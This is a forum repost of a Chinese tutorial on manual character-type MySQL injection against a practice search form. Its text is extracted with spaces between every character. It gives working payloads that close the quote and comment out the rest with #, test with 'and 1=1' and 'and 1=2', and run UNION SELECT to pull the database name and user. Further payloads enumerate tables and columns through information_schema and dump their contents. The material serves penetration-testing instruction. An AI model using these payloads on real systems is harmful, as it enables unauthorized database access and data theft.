搜索

[20336] 2020-06-26_Mysql字符型手工注入

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-06-26_Mysql字符型手工注入 M y s q l 字 符 型 手 工 注 入 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 6 - 2 6 以 下 文 章 来 源 于 P t T e a m   ， 作 者 H o l y m a n 0 1 字 符 型 注 入 _ 确 定 注 入 点 正 常 搜 索 框 搜 索 数 据 ， 输 入 名 字 就 可 以 查 询 对 应 数 据 查 看 P H P 核 心 代 码 解 释 ：         1 . 红 色 箭 头 表 示 服 务 器 通 过 G E T 请 求 把 用 户 的 k o b e 参 数 传 到 $ n a m e         2 . 黄 色 方 框 表 示 传 入 数 据 库 的 查 询 语 句 加 入 恶 意 字 符 后 ， 传 入 数 据 库 的 查 询 语 句 如 下 ： 很 明 显 k o b e ' 传 入 查 询 的 时 候 ， 后 面 的 的 分 号 与 前 面 查 询 语 句 的 分 号 闭 合 ， 查 询 语 句 多 出 一 个 分 号 ， 查 询 语 句 不 成 立 ， 导 致 报 错 。 注 入 点 测 试 ， 将 p a y l o a d 1 代 入 查 询 P t T e a m   . P t - T e a m 目 前 主 攻 w e b 渗 透 、 网 络 攻 防 ， 分 享 日 常 渗 透 测 试 笔 记 ， 为 响 应 国 家 打 造 网 络 安 全 强 国 而 共 同 努 力 ， 共 同 奋 斗 ！ s e l e c t   i d , e m a i l   f r o m   m e m b e r   w h e r e   u s e r n a m e = ' k o b e ' ' k o b e '   a n d   1 = 1   #
p a y l o a d 解 释 ： 利 用 分 号 闭 合 查 询 语 句 中 的 分 号 ， 再 通 过 # 注 释 掉 查 询 语 句 中 后 面 的 分 号 ， 则 传 入 数 据 库 查 询 语 句 如 下 ： 成 功 查 询 到 指 定 数 据 0 2 字 符 型 注 入 _ 获 取 基 本 信 息 在 这 里 基 本 确 定 注 入 点 ， 查 看 当 前 数 据 库 和 用 户 成 功 查 询 到 数 据 库 信 息 传 入 数 据 库 的 查 询 命 令 如 下 由 此 可 见 p a y l o a d 只 要 在 黄 色 区 间 内 ， 在 足 够 权 限 和 符 合 语 句 逻 辑 状 态 下 可 以 任 意 执 行 s q l 语 句 k o b e '   a n d   1 = 1   # s e l e c t   i d , e m a i l   f r o m   m e m b e r   w h e r e   u s e r n a m e = ' k o b e '   a n d   1 = 1   # ' k o b e '   a n d   1 = 2   # k o b e '   u n i o n   s e l e c t   d a t a b a s e ( ) , u s e r ( ) # s e l e c t   i d , e m a i l   f r o m   m e m b e r   w h e r e   u s e r n a m e = ' k o b e '   u n i o n   s e l e c t   d a t a b a s e ( ) , u s e r ( ) # '
常 用 查 询 语 句 常 用 查 询 语 句 确 定 当 前 字 段 查 询 指 定 库 所 有 数 据 表 查 询 指 定 表 的 所 有 表 头 查 看 指 定 表 头 内 容 注 释 ： 注 入 方 法 与 数 字 型 注 入 基 本 相 同 ， 只 要 在 闭 合 与 注 释 符 两 者 区 间 内 执 行 m y s q l 命 令 即 可 利 用 该 漏 洞 ， 从 这 部 分 开 始 ， 后 续 不 做 详 细 介 绍 与 演 示 。 k o b e '   o r d e r   b y   3 # k o b e '   u n i o n   s e l e c t   t a b l e _ n a m e , 2 , 3   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   ( t a b l e _ s c h e m a = ' 数 据 库 名 ' ) # k e b o '   u n i o n   s e l e c t   c o l u m n _ n a m e , 2 , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   ( t a b l e _ n a m e = " 表 名 " ) # k e b o '   u n i o n   s e l e c t   表 头 1 , 2 , 表 头 2   f r o m   表 名 #
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理